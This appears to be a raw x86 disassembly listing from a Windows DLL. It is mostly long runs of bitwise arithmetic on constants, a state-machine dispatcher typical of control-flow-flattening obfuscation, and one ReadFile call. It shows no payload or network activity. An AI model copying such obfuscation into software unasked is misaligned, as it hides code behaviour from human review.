xor esi, 0x37e15347
or eax, esi
and esi, 0x9e59f74f
and ecx, 0x1a000a0
or ecx, esi
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf9a85273
and ecx, 0x657ad8c
or ecx, eax
mov eax, ecx
xor eax, 0x6152188
xor ecx, 0x31084072
and ecx, 0x314acc76
and eax, 0xceb53389
or eax, ecx
mov esi, eax
xor esi, 0x428466
xor eax, 0xc6001209
and eax, 0xf7085a19
and esi, 0x8f7a5e6
or esi, eax
mov eax, esi
xor eax, 0x8f7a5e6
xor esi, 0xf7085a19
mov ecx, esi
and ecx, 0xc8499819
mov edx, eax
and edx, 0x37b667e6
or edx, ecx
xor edx, 0x37b667e6
or edx, edi
mov ebx, esi
xor ebx, edi
and ebx, eax
and esi, 0x7ea60117
and eax, 0x8159fee8
or eax, esi
xor eax, 0x7ea60117
or eax, edi
mov esi, ebx
not esi
mov ecx, esi
and ecx, 0x457b7ee2
and ebx, 0xba84811d
or ebx, ecx
xor ebx, eax
xor ebx, 0xba84811d
or esi, eax
not esi
or esi, ebx
mov ecx, esi
not ecx
mov dword [esp + 4], ecx
and ecx, 0x92c53334
mov ebp, esi
xor ebp, 0x92c53334
and ebp, esi
or ebp, ecx
mov eax, edx
mov dword [esp + 0xc], edx
mov ecx, edx
not ecx
mov edi, ecx
or edi, 0x6d3acccb
mov ebx, edi
and ebx, 0x6b08a47c
and edx, 0x90c51300
or edx, ebx
mov ebx, eax
xor ebx, 0x6d3acccb
and ebx, ecx
mov eax, ebx
not eax
or edi, eax
and eax, 0x6b08a47c
and ebx, 0x94f75b83
or ebx, eax
xor ebx, edx
not edi
or edi, ebx
mov ebx, ebp
xor ebx, ebp
not ebx
and ebx, edi
xor ebx, ebp
mov eax, ecx
and eax, 0x5419405f
mov edx, dword [esp + 0xc]
and edx, 0xabe6bfa0
or edx, eax
or ecx, esi
and esi, 0x5419405f
mov eax, dword [esp + 4]
and eax, 0xabe6bfa0
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0xda4b09b3
and ebx, 0x25b4f64c
or ebx, edx
xor ebx, ecx
xor ebx, 0x25b4f64c
or eax, ecx
not eax
or eax, ebx
mov esi, eax
not esi
mov ecx, eax
or ecx, 0x2008808
mov edx, esi
or edx, 0x20080000
and ecx, 0x22088808
mov edi, esi
and edi, 0x84104200
or edi, ecx
and edx, 0x22088808
mov ecx, eax
and ecx, 0x40500
or ecx, edx
xor ecx, edi
mov edx, ecx
xor edx, 0x2048d08
xor ecx, 0x6184600
or ecx, 0x9a20010
and edx, 0xa6040700
and ecx, 0x9bac818
or ecx, edx
mov edx, ecx
xor edx, 0x9bac818
xor ecx, 0xf64537e7
mov edi, esi
and edi, 0x73b472fc
and eax, 0x8c4b8d03
or eax, edi
xor eax, 0xd5a8bdf4
xor esi, eax
and esi, eax
mov eax, esi
not eax
and esi, ecx
or ecx, eax
and eax, edx
or eax, esi
mov esi, eax
not esi
mov edx, esi
and edx, 0xce032c12
and eax, 0x31fcd3ed
or eax, edx
or esi, ecx
and ecx, 0xee1fef1a
xor ecx, eax
xor ecx, 0x201cc308
not esi
or esi, ecx
mov ecx, esi
not ecx
mov eax, esi
xor eax, 0x12d7bd83
and eax, esi
or esi, 0xed28427c
mov edi, esi
mov edx, eax
not edx
and esi, 0xf4dc6707
and ecx, 0x2039880
or ecx, esi
or edi, edx
and edx, 0xf4dc6707
and eax, 0xb2398f8
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov dword [esp + 4], edi
mov esi, dword [esp + 8]
mov eax, esi
and eax, 0xe2228800
mov edx, dword [esp]
mov ecx, edx
and ecx, 0x1ddd77ff
or ecx, eax
mov dword [esp + 0xc], ecx
mov ebx, ecx
xor ebx, 0xe2228800
mov dword [esp + 0x10], ebx
mov edi, ecx
xor edi, 0x1ddd77ff
mov eax, edi
mov dword [esp + 0x14], edi
and eax, 0x132ba707
mov ecx, ebx
and ecx, 0xecd458f8
or ecx, eax
xor ecx, 0xb2562587
mov ebp, ecx
xor ebp, edi
and ebp, ecx
mov eax, edx
and eax, 0x5e827d7f
mov ecx, esi
and ecx, 0xa17d8280
or ecx, eax
xor edx, ecx
and edx, ecx
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0xe593cb16
mov esi, ebp
and esi, 0x1a6c34e9
or esi, ecx
mov ebx, esi
xor ebx, 0x1a6c34e9
mov dword [esp + 0x20], ebx
xor esi, 0xe593cb16
mov dword [esp + 8], esi
mov ecx, esi
or ecx, 0x50800241
and ecx, 0x7aac0be7
and ebx, 0x80120408
or ebx, ecx
or eax, 0x2a2c09a6
and eax, 0x7aac0be7
and ebp, 0x541f010
or ebp, eax
mov esi, edx
not esi
mov dword [esp + 0x1c], esi
mov eax, edx
mov dword [esp], edx
xor eax, 0xaa3e0dae
mov ecx, eax
and ecx, esi
mov edi, ecx
not edi
mov esi, edi
and esi, 0xab33818e
and ecx, 0x54cc7e71
or ecx, esi
and eax, edx
mov esi, eax
not esi
or edi, esi
and esi, 0xab33818e
and eax, 0x54cc7e71
or eax, esi
xor eax, ecx
not edi
or edi, eax
xor edi, ebp
xor edi, ebx
mov ebp, dword [esp + 8]
mov eax, ebp
and eax, 0xe44bd778
mov edx, dword [esp + 0x20]
and edx, 0x1bb42887
or edx, eax
mov eax, dword [esp]
or ebp, eax
and eax, 0xe44bd778
mov ecx, eax
mov eax, dword [esp + 0x1c]
and eax, 0x1bb42887
or eax, ecx
xor eax, edx
mov edx, dword [esp + 0xc]
xor edx, 0xf412bcc7
mov ebx, dword [esp + 0x10]
and edx, ebx
not ebp
or ebp, eax
not ebp
or ebp, edi
mov eax, dword [esp + 0x14]
and eax, 0x87d407d3
and ebx, 0x782bf82c
or ebx, eax
mov eax, ebx
xor eax, 0x782bf82c
xor ebx, 0x87d407d3
mov esi, ebx
or esi, 0xe9cfcb38
mov ecx, esi
and ecx, 0xaa722ac6
mov edi, eax
and edi, 0x14001401
or edi, ecx
mov ecx, edx
not ecx
or esi, ecx
and ecx, 0xaa722ac6
and edx, 0x558dd539
or edx, ecx
xor edx, edi
mov ecx, dword [esp + 4]
xor ecx, 0xc4d4cad1
xor ebp, 0x5e827d7e
not esi
or esi, edx
xor esi, 0xe9cfcb39
and ebx, 0x74c2e522
mov edx, eax
and edx, 0x8b3d1add
or edx, ebx
xor edx, 0x74c2e523
and eax, 1
or eax, edx
not eax
or eax, esi
mov edx, eax
mov esi, eax
xor esi, 0x169f3c69
and esi, eax
or eax, 0xe960c396
not edx
mov edi, eax
and edi, 0x918e891d
and edx, 0x6113460
or edx, edi
mov edi, esi
not edi
or eax, edi
and edi, 0x918e891d
and esi, 0x6e7176e2
or esi, edi
xor esi, edx
not eax
or eax, esi
mov edx, eax
xor edx, 0xa9208182
xor eax, 0x14902408
and eax, 0x54d0661c
and edx, 0xab2f99e3
or edx, eax
mov esi, edx
xor esi, 0x88071043
xor edx, 0x40102014
and edx, 0x6338a9b4
and esi, 0x9cc7564b
or esi, edx
mov eax, esi
xor eax, 0x21000910
xor esi, 0x8c835040
and esi, 0xcebbf0e4
and eax, 0x31440f1b
or eax, esi
mov esi, eax
xor esi, 0x31440512
xor eax, 0xcebbf0e4
mov edi, ebp
xor edi, eax
and edi, ebp
and eax, 0x618eae9
and esi, 0xf9e71516
or esi, eax
xor esi, ebp
mov edx, esi
xor edx, 0x618eae9
mov eax, edi
not eax
xor esi, 0xf9e71516
mov ebx, eax
and ebx, 0xa1f4af92
and edi, 0x5e0b506d
or edi, ebx
or eax, esi
and esi, 0xa1f4af92
and edx, 0x5e0b506d
or edx, esi
xor edx, edi
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0x7c1cf6c6
and eax, 0x83e30939
or eax, edx
mov edx, eax
xor edx, 0x38104402
xor eax, 0x2400120
and edx, 0xb9b34c1b
and eax, 0x464cb3e4
or eax, edx
mov edx, eax
xor edx, 0xb9b34c1b
mov dword [esp + 8], edx
mov ebp, dword [esp + 4]
xor ebp, 0x3b2b352e
mov esi, ebp
and esi, 0x22810b62
mov edx, ecx
and edx, 0x59207408
or edx, esi
mov esi, edx
xor esi, 0x19203408
xor edx, 0xa2d98932
mov edi, ebp
or edi, 0x62814922
and edx, 0xe2d9c932
and esi, 0x19203648
or esi, edx
and edi, 0xe2d9c932
mov edx, ecx
and edx, 0x4060085
or edx, edi
mov ebx, eax
xor ebx, 0x464cb3e4
xor edx, esi
mov esi, ebx
and esi, 0x23df1bb9
xor eax, 0x9a6c57a2
and eax, dword [esp + 8]
or eax, esi
mov esi, ebp
and esi, 0xe06e06a5
and ecx, 0x1f91f95a
or ecx, esi
mov edi, eax
xor edi, 0xdc20e446
mov dword [esp], edi
xor ebp, ecx
and ebp, ecx
xor eax, 0x23df1bb9
mov esi, eax
and esi, 0x804e0405
mov ecx, edi
and ecx, 0x602002a0
or ecx, esi
or ebx, 0xe00e0404
mov esi, dword [esp + 8]
and esi, 0x390b058
and ebx, 0xfc0f4d06
or ebx, esi
mov esi, edx
xor esi, 0x7ba17f6a
mov dword [esp + 4], esi
xor ecx, 0x804e0405
xor ebx, 0xfc0f4d06
or ebx, ecx
mov ecx, esi
or ecx, 0x1f91f95a
mov esi, ebp
not esi
xor ebp, esi
and ebp, ecx
or ecx, esi
xor ebp, esi
not ecx
or ebp, ecx
mov edi, ebp
not edi
mov esi, ebx
not esi
mov ecx, esi
xor ecx, edi
and ecx, ebx
and esi, 0xa56997ad
and ebx, 0x5a966852
or ebx, esi
xor ebx, edi
xor ebx, 0x5a966852
and ebx, ebp
mov edi, ecx
not edi
mov esi, edi
and esi, 0x1d323d1
and ecx, 0xfe2cdc2e
or ecx, esi
mov esi, ebx
not esi
or edi, esi
and esi, 0x1d323d1
and ebx, 0xfe2cdc2e
or ebx, esi
xor ebx, ecx
mov esi, edx
xor esi, 0x845e8095
not edi
or edi, ebx
mov ecx, dword [esp + 4]
and ecx, 0x7eb2bbe4
xor edx, 0xacf4a9d1
and edx, esi
and esi, 0x814d441b
or esi, ecx
mov ebp, esi
xor ebp, 0x814d441b
mov ecx, ebp
and ecx, 0x28aa2944
or edx, ecx
mov ebx, eax
and ebx, 0x28aa2944
mov ecx, dword [esp]
and ecx, 0xd755d6bb
or ecx, ebx
mov ebx, ecx
xor ebx, ecx
not ebx
and ebx, edx
xor esi, 0x7eb2bbe4
xor ebx, ecx
mov ecx, esi
and ecx, 0xd199e402
and ebp, 0x2e661bfd
or ebp, ecx
mov ecx, dword [esp]
or esi, ecx
and ecx, 0xd199e402
and eax, 0x2e661bfd
or eax, ecx
xor eax, ebp
not esi
or esi, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xa9c1e07e
and ebx, 0x563e1f81
or ebx, ecx
xor ebx, esi
xor ebx, 0x563e1f81
or eax, esi
not eax
or eax, ebx
mov ecx, eax
not ecx
mov edx, edi
not edx
and ecx, edx
or edx, eax
not edx
and eax, edi
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x880e005
mov esi, eax
mov ebx, eax
mov dword [esp], eax
and esi, 0x10400260
or esi, edx
xor esi, 0x10400260
mov edx, ecx
and edx, eax
or edx, esi
not edx
or edx, 0xe73f1d9a
mov esi, ecx
and esi, 0x18c0e265
and ebx, 0xe73f1d9a
or ebx, esi
mov edi, ebx
xor edi, ecx
and edi, ebx
mov esi, edi
not esi
xor edi, esi
and edi, edx
or edx, esi
xor edi, esi
mov esi, edi
not esi
mov ebx, esi
and ebx, 0x8718e63e
and edi, 0x78e719c1
or edi, ebx
or esi, edx
and edx, 0x9fd8e67f
xor edx, edi
xor edx, 0x18c00041
not esi
or esi, edx
mov edx, esi
mov edi, esi
xor edi, 0x9011262e
and edi, esi
not esi
mov ebx, esi
and ebx, 0x80002028
and edx, 0x10110606
or edx, ebx
xor edx, 0x80002028
or edx, 0x6feed9d1
mov ebx, edi
not ebx
mov ebp, edx
and ebp, 0xd754efa8
and esi, 0x10006
or esi, ebp
or edx, ebx
and ebx, 0xd754efa8
and edi, 0x28ab1057
or edi, ebx
xor edi, esi
not edx
or edx, edi
mov esi, edx
xor esi, 0x772e3bb4
xor edx, 0x88d1c44b
mov edi, edx
and edi, esi
mov ebx, edi
not ebx
mov ebp, esi
and ebp, 0x5b323a3a
and edx, 0xa4cdc5c5
or edx, ebp
or esi, ebx
and ebx, 0x5b323a3a
and edi, 0xa4cdc5c5
or edi, ebx
xor edi, edx
not esi
or esi, edi
mov edx, esi
not edx
mov ebx, esi
xor ebx, 0x38f869b4
mov ebp, ebx
and ebp, edx
mov edi, ebp
not edi
mov eax, edi
and eax, 0x93e8dff5
and ebp, 0x6c17200a
or ebp, eax
and ebx, esi
mov eax, ebx
not eax
or edi, eax
and eax, 0x93e8dff5
and ebx, 0x6c17200a
or ebx, eax
xor ebx, ebp
not edi
or edi, ebx
xor edi, 0x928ac811
and esi, 0xf138af32
mov eax, edx
and eax, 0xec750cd
or eax, esi
xor eax, 0xa4b5f168
and edx, 0x558d5e5a
or edx, eax
not edx
or edx, edi
mov esi, edx
not esi
mov eax, esi
and eax, 0x2f8c4dc6
and esi, edx
and edx, 0xd073b239
or edx, eax
mov edi, edx
xor edi, 0xc0633010
xor edx, 0x2f8c4dc6
mov ebx, esi
not ebx
mov eax, edx
and eax, 0x36148f29
and edi, 0xc9eb70d6
or edi, eax
or edx, ebx
and ebx, 0x36148f29
and esi, 0xc9eb70d6
or esi, ebx
xor esi, edi
not edx
or edx, esi
mov esi, edx
not esi
and edx, 0xa068c1fd
and esi, 0x5f973e02
or esi, edx
mov edx, esi
xor edx, 0x20600074
xor esi, 0x4a112402
and esi, 0xca19e58b
and edx, 0x35e61a74
or edx, esi
and ecx, 0x38070040
mov esi, dword [esp]
mov eax, esi
and eax, 0x100080
or eax, ecx
xor eax, 0x100080
and esi, 0xc7e8ff3f
or esi, eax
mov edi, esi
mov ebx, esi
xor ebx, 0x381700c0
mov ecx, esi
xor ecx, 0x926d046d
and ecx, ebx
mov ebp, ecx
not ebp
mov eax, ebp
and eax, 0xd6b583f5
and ecx, 0x294a7c0a
or ecx, eax
mov eax, ebx
or eax, 0x5585fb52
xor esi, 0x480408
or ebp, eax
and eax, 0xd6b583f5
and esi, 0x284a0408
or esi, eax
mov eax, edx
xor eax, 0x35e61a74
mov dword [esp + 4], eax
xor esi, ecx
mov eax, edx
xor eax, 0xca19e58b
mov dword [esp], eax
xor edi, 0x320f21f
not ebp
or ebp, esi
xor ebp, 0x8a508
and edi, 0x3b20f2df
mov eax, ebx
and eax, 0xc4df0d20
or eax, edi
xor eax, 0x9152537a
and ebx, 0xaa72a1a5
or ebx, eax
not ebx
or ebx, ebp
mov eax, ebx
not eax
and eax, 0x62931434
and ebx, 0x9d6cebcb
or ebx, eax
mov edi, ebx
xor edi, 0x42100020
xor ebx, 0x8682b00
and ebx, 0x28eb3f14
and edi, 0xd714c0eb
or edi, ebx
mov eax, edi
xor eax, 0xd714c0eb
mov ebp, edi
xor ebp, 0x20c13c10
and ebp, 0xb7c1bc52
mov ecx, eax
and ecx, 0x483e43ad
or ecx, ebp
mov ebx, dword [esp + 4]
mov esi, ebx
and esi, 0x40bfd18b
mov ebp, dword [esp]
and ebp, 0xbf402e74
or ebp, esi
xor edx, 0xe774edfd
mov esi, ebx
and edx, ebx
mov ebx, ecx
xor ebx, 0x8000224
xor ecx, 0xb7c1bc52
or esi, ecx
and ecx, 0x40bfd18b
and ebx, 0xbf402e74
or ebx, ecx
xor ebx, ebp
not esi
or esi, ebx
mov ecx, dword [esp]
and ecx, 0xd292f789
or edx, ecx
mov ecx, edi
xor ecx, 0x821600
xor edi, 0x5863762
and edi, eax
or eax, 0x2d6d0876
mov ebx, edi
not ebx
mov ebp, eax
and ebp, 0xe454e9da
and ecx, 0x12821601
or ecx, ebp
or eax, ebx
and ebx, 0xe454e9da
and edi, 0x1bab1625
or edi, ebx
xor edi, ecx
not eax
or eax, edi
xor eax, edx
mov ecx, eax
not ecx
xor eax, ecx
and eax, esi
or esi, ecx
xor eax, ecx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0xd06382af
and eax, 0x2f9c7d50
or eax, ecx
xor eax, esi
xor eax, 0x2f9c7d50
or edi, esi
not edi
or edi, eax
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0xb05de569
mov edx, edi
and edx, 0x4fa21a96
or edx, eax
mov eax, edx
xor eax, 0x200000
xor edx, 0x80502100
and eax, 0x20208021
and edx, 0x8a522184
or edx, eax
mov eax, edx
xor eax, 0x8a522184
or ecx, 0xaa720084
and edi, 0x150d5000
and ecx, 0xeaf20ede
or ecx, edi
mov ebx, ecx
xor ebx, 0xeaf20ede
mov edi, ecx
xor edi, 0x101a000
and edi, 0xe111aed6
xor ecx, 0x500d4210
and ecx, ebx
and ebx, 0x148c5008
or ebx, edi
mov edi, eax
mov dword [esp], eax
mov ebp, eax
or ebp, 0xcf629314
mov eax, edx
xor eax, 0x20044863
mov esi, ebp
and esi, 0x4f728200
and eax, 0x200468e3
or eax, esi
mov dword [esp + 4], edx
xor edx, 0xaa420125
and edx, edi
mov esi, edx
not esi
or ebp, esi
and esi, 0x5ffb8608
and edx, 0xa00021a5
or edx, esi
xor edx, eax
mov edi, ebx
xor edi, 0x1eee5129
not ebp
or ebp, edx
mov esi, ebx
xor esi, 0xd18cc23d
and esi, edi
mov edx, esi
not edx
mov eax, edx
and eax, 0x5dfd9c9c
and esi, 0xa0006263
or esi, eax
mov eax, ecx
not eax
or edx, eax
and eax, 0x5dfd9c9c
and ecx, 0x4242
or ecx, eax
xor ecx, esi
mov esi, dword [esp + 4]
xor esi, 0x11018058
not edx
or edx, ecx
mov ecx, edx
xor ecx, edx
not ecx
and ecx, ebp
xor ecx, edx
xor ebx, 0xe111aed6
mov edx, dword [esp]
mov eax, edx
and eax, 0x286001a1
and esi, 0x9313a05c
or esi, eax
or edx, ebx
mov eax, edx
and ebx, 0x648c5e82
and edi, 0x9313a05c
or edi, ebx
xor edi, esi
not eax
or eax, edi
mov edx, eax
mov esi, eax
not edx
mov ebp, ecx
not ebp
mov eax, ebp
and eax, 0x384fc106
and ecx, 0xc7b03ef9
or ecx, eax
or ebp, esi
and esi, 0x384fc106
and edx, 0xc7b03ef9
or edx, esi
xor edx, ecx
not ebp
or ebp, edx
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x316efcfa
mov edx, ebp
and edx, 0xce910305
or edx, ecx
xor edx, 0xd18f8fa6
mov ecx, ebp
and ecx, 0xe0e1735c
or edx, ecx
mov edi, edx
not edi
mov esi, eax
and esi, 0x1f1e8ca3
or esi, ecx
not esi
or esi, eax
mov ebx, esi
not ebx
mov ecx, edx
and ecx, 0xef28144f
xor edx, 0x66885d8
and edx, edi
and edi, 0x10d7ebb0
or edi, ecx
mov ecx, esi
and ecx, 0xe1756dd1
xor esi, 0x66885d8
and esi, ebx
and ebx, 0x1e8a922e
or ebx, ecx
mov ecx, edi
xor ecx, 0x10d7ebb0
xor edi, 0x16bf6e68
and edi, ecx
or edx, edi
xor ebx, 0x1e8a922e
or ecx, ebx
and ebx, 0xf9977a27
or esi, ebx
xor esi, edx
not ecx
or ecx, esi
mov edx, ecx
xor edx, 0x1f1e8ca3
xor ecx, 0xe0e1735c
and eax, 0xa89d5407
and ebp, 0x5762abf8
or ebp, eax
mov eax, ebp
xor eax, 0x6000030
xor ebp, 0x8954007
and ebp, 0x59f7ebcf
and eax, 0xa6081430
or eax, ebp
mov esi, eax
xor esi, 0x59f7ebcf
xor eax, 0xa6081430
and esi, edx
or edx, eax
not edx
and eax, ecx
or eax, esi
or eax, edx
xor eax, 0x884503ec
xor eax, 0x77bafc13
sete bl
setne cl
cmp dword [0x10047904], 0xa
setge byte [esp]
setl dh
mov eax, ecx
inc al
mov ch, cl
and ch, al
xor ch, 1
mov dl, al
xor dl, ch
or ch, al
xor ch, 1
or ch, dl
mov ah, ch
xor ah, 1
mov al, ah
and al, ch
mov byte [esp + 8], ch
xor al, 1
mov byte [esp + 4], al
mov dl, al
xor dl, ah
or al, ah
mov bh, ah
mov byte [esp + 0xc], ah
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ch
xor dl, al
and dl, ch
and ah, bh
and al, ch
or al, ah
mov ah, dl
xor ah, 1
xor dl, al
xor al, 1
or al, ah
xor al, 1
or al, dl
mov dl, al
xor dl, 1
and dl, al
xor dl, 1
mov ah, dl
xor ah, al
or dl, al
xor dl, 1
or dl, ah
mov bh, cl
xor bh, dl
mov al, bh
and al, cl
and bh, dl
mov ah, al
xor ah, 1
xor al, bh
xor bh, 1
or bh, ah
xor bh, 1
or bh, al
mov ah, dl
xor ah, 1
mov al, ah
and al, dl
xor al, 1
or al, dl
xor al, 1
or al, ah
mov dl, bl
xor dl, al
or al, bl
xor bh, 1
or bh, ah
xor al, 1
or al, dl
mov bl, al
xor bl, 1
xor ah, cl
and ah, cl
mov dl, al
and dl, bl
xor dl, 1
or dl, bl
mov cl, ah
xor cl, 1
mov bl, cl
and bl, ah
xor bl, 1
mov ch, ah
xor ch, bl
or bl, ah
xor bl, 1
or bl, ch
xor bh, 1
xor dl, 1
or dl, al
xor bl, dl
or cl, al
xor cl, 1
or cl, bl
mov dl, bh
or dl, cl
mov eax, edx
xor al, 1
xor cl, bh
or al, cl
mov ah, al
xor ah, 1
and cl, dl
mov dl, ah
and dl, al
xor dl, 1
mov ch, dl
xor ch, al
or dl, al
xor dl, 1
or dl, ch
mov ch, cl
xor ch, 1
mov ebx, edx
and dl, ch
xor ch, al
xor bl, 1
and bl, cl
or cl, ah
xor cl, 1
or cl, ch
xor cl, 1
or cl, dl
or cl, bl
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov dl, cl
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov dl, al
xor dl, dh
or al, dh
xor al, 1
or al, dl
mov dl, dh
xor dl, cl
and dl, cl
mov ecx, edx
and dl, al
xor al, 1
xor cl, 1
mov ah, al
xor ah, cl
and ah, al
and cl, al
or cl, dl
or cl, ah
mov ah, byte [esp + 0xc]
mov al, ah
and al, dh
mov dl, byte [esp]
mov ebx, edx
mov bh, byte [esp + 8]
and bl, bh
or bl, al
mov al, bl
xor al, dl
or bl, dl
xor bl, 1
or bl, al
or ah, dl
mov ch, ah
mov al, bh
mov dl, bh
mov ah, byte [esp + 4]
xor dl, ah
or ah, bh
mov al, bl
xor al, 1
xor ah, 1
or ah, dl
xor dh, ah
and dh, ah
xor dh, 1
mov ah, ch
mov dl, ch
or dl, dh
xor dh, ch
xor dh, 1
mov ah, dl
xor ah, dh
or dh, dl
xor dh, 1
or dh, ah
mov ch, dh
xor ch, 1
mov dl, al
xor dl, dh
and dh, dl
mov ah, bl
and ah, al
xor ah, 1
or ah, al
xor ah, 1
or ah, bl
xor ah, ch
or ch, bl
xor ch, 1
or ch, dl
and dl, al
mov al, dh
xor al, 1
xor dh, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, dh
xor ch, 1
or ch, ah
xor dl, 1
mov eax, edx
or al, ch
xor al, 1
xor dl, ch
or dl, al
mov eax, edx
xor al, 1
mov ch, al
and ch, dl
xor ch, 1
mov ah, ch
xor ah, dl
or ch, dl
xor ch, 1
or ch, ah
mov ah, dl
xor ah, ch
or ch, dl
xor ch, 1
or ch, ah
mov dh, ch
xor dh, 1
mov ah, dh
and ah, ch
xor dh, ah
xor ah, 1
or ah, ch
xor ah, 1
or ah, dh
mov ch, ah
xor ch, 1
and ch, al
and dl, ah
or dl, ch
or ah, al
xor ah, 1
or ah, dl
mov ch, ah
xor ch, 1
mov al, ch
and al, ah
xor ch, al
xor al, 1
or al, ah
xor al, 1
or al, ch
mov ch, dl
xor ch, 1
mov ah, dl
and ah, ch
xor ah, 1
mov dh, ah
xor dh, ch
or ah, ch
xor ah, 1
or ah, dh
xor ah, al
mov ch, dl
xor ch, al
or al, dl
xor al, 1
or al, ch
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov ch, ah
and ch, al
mov dl, ah
xor dl, ch
xor ch, 1
or ch, al
xor ch, 1
or dl, ah
or dl, ch
mov ah, dl
xor ah, 1
mov al, ah
and al, dl
xor ah, al
xor al, 1
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov dh, cl
and dh, ah
xor ah, cl
mov dl, al
mov ch, al
or al, cl
xor cl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
and ch, cl
or ch, dh
mov dh, dl
and dh, ah
xor dh, 1
mov bl, ah
xor bl, dh
or dh, ah
xor dh, 1
or dh, bl
mov ah, ch
xor ah, 1
or cl, ah
xor dh, cl
or cl, dl
xor cl, 1
or cl, dh
mov edx, eax
xor dl, 1
mov dh, dl
or dl, ch
and ch, al
and dh, ah
or dh, ch
xor al, ah
xor dl, 1
or dl, al
xor dl, 1
or dl, dh
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ah, al
xor ah, dl
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov edx, eax
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov ch, dl
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ah, cl
xor ah, dl
and dl, ah
and ah, cl
mov cl, dl
xor cl, 1
xor dl, ah
xor ah, 1
or ah, cl
xor ch, 1
xor ah, 1
or ah, dl
mov cl, al
xor cl, ch
or al, ch
xor al, 1
or al, cl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
mov cl, ah
xor cl, al
and cl, ah
and al, ah
xor ah, 1
and ah, dl
or al, ah
mov edx, eax
xor dl, cl
test al, 1
mov edi, 0x9df8e724
mov esi, 0x12544d7c
cmovne edi, esi
test cl, 1
mov eax, 0x9df8e724
cmove edi, eax
test dl, 1
cmovne edi, esi
jmp 0x10008b80
cmp edi, 0xc20bf5df
jg 0x1000efc7
cmp edi, 0xb8300f84
jg 0x1001258b
cmp edi, 0xb3df0bc0
je 0x10018203
cmp edi, 0xb48591b0
jne 0x10008b80
mov edi, 0x62428c9c
jmp 0x10008b80
cmp edi, 0x44f5b013
jg 0x1000eff5
cmp edi, 0x3df38149
jg 0x10012b88
cmp edi, 0x3141c8a6
je 0x10019105
cmp edi, 0x3bb675d8
jne 0x10008b80
mov dword [esp + 0x48], 0
push 0
lea eax, [esp + 0x4c]
push eax
push dword [esp + 0x3c]
push dword [esp + 0x38]
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
setne byte [esp + 0x3a]
mov eax, dword [0x10047900]
lea esi, [eax + 1]
imul esi, eax
mov edx, esi
not edx
mov eax, edx
and eax, esi
mov edi, esi
and edi, 0x5a0fd8a7
mov ecx, esi
mov ebx, esi
and esi, 0xc0eeffdb
mov ebp, edx
and ebp, 0x3f110024
or ebp, esi
mov esi, edx
xor ebp, 0x3f110024
or ebp, edx
and edx, 0xa5f02758
or edx, edi
mov edi, eax
not edi
or ecx, edi
and edi, 0x5a0fd8a7
and eax, 0xa5f02758
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0xce528138
not ecx
xor eax, ecx
and esi, 0xfdb6ee88
and ebx, 0x2491177
or ebx, esi
mov edx, ebx
xor edx, 0x2491177
xor ebx, 0x5142688
and ebx, 0x55d27db
mov esi, edx
and esi, 0xfaa2d824
or esi, ebx
xor esi, 0xfaa2d824
or esi, edx
xor eax, 0xce528138
and eax, esi
xor eax, ecx
or ecx, esi
not ecx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov esi, edx
not esi
mov edi, eax
and edi, 0xcc1b5e17
and ecx, 0x33e4a1e8
or ecx, edi
or eax, esi
and esi, 0xcc1b5e17
and edx, 0x33e4a1e8
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov edx, eax
not edx
mov esi, edx
and esi, eax
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xe18256e0
and esi, 0x1e7da91f
or esi, edi
or ecx, eax
and eax, 0xe18256e0
and edx, 0x1e7da91f
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edi, eax
mov dword [esp], eax
mov eax, ebp
not eax
mov edx, ebp
and edx, 0x4bd4a793
mov esi, eax
and esi, 0xb42b586c
or esi, edx
mov edx, edi
and edx, 0x1a9a4960
mov ebx, ecx
and ebx, 0xe565b69f
or ebx, edx
mov edi, esi
xor edi, 0x4004840
xor esi, 0x4bd4a793
xor ebx, 0x1a9a4960
or ebx, ebp
and ebp, 0xfa3e5ec
and eax, 0xf05c1a13
or eax, ebp
mov edx, ecx
mov ebp, dword [esp]
xor eax, ebp
xor eax, 0xf05c1a13
and eax, ecx
and ecx, 0xb3bf33af
and ebp, 0x4c40cc50
or ebp, ecx
or edx, esi
and esi, 0xb3bf33af
and edi, 0x4c40cc50
or edi, esi
xor edi, ebp
not edx
or edx, edi
mov ecx, edx
not ecx
mov esi, eax
not esi
mov edi, esi
and edi, 0x77a1bc7c
and eax, 0x885e4383
or eax, edi
xor eax, ebx
xor eax, 0x885e4383
or esi, ebx
not esi
or esi, eax
mov eax, esi
not eax
and esi, edx
or edx, eax
and eax, ecx
or eax, esi
mov edi, eax
not edi
mov ecx, edi
and ecx, 0xde6c8805
and eax, 0x219377fa
or eax, ecx
xor eax, edx
xor eax, 0x219377fa
or edi, edx
not edi
or edi, eax
mov ecx, edi
not ecx
mov eax, ecx
